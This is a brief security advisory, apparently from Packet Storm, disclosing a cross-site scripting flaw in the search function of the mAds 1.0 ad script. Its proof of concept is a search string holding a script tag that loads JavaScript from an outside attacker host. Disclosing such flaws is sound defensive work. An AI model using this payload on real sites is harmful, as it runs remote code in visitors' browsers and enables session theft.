mAds version 1.0 is susceptible to a cross site scripting attack.
ca464357301f62a2c539cbc6f73ea78dmAds v1.0
Homepage:
http://lowpricescripts.com/product_info.php?products_id=51
Affected files:
*Searching
-----------------------------------
XSS vuln when searching:
Like the hotbot XSS vuln, when searching mAds returns with its results they are generated dynamically on screen, with no filtering at all. For a PoC as your search string put in:
<script src=http://www.youfucktard.com/xss.js></script>
Screenshots:
http://www.youfucktard.com/xsp/mads1.jpg
Im sure other vulnerabilities aside from XSS could be also possible due to this.
------------------------------------
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!